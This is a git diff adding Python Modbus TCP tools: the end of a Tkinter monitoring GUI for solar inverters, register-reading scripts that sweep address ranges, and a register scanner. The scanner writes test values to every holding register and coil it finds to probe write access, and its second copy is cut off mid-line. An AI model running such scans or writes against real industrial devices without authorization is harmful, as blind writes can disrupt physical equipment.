Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => 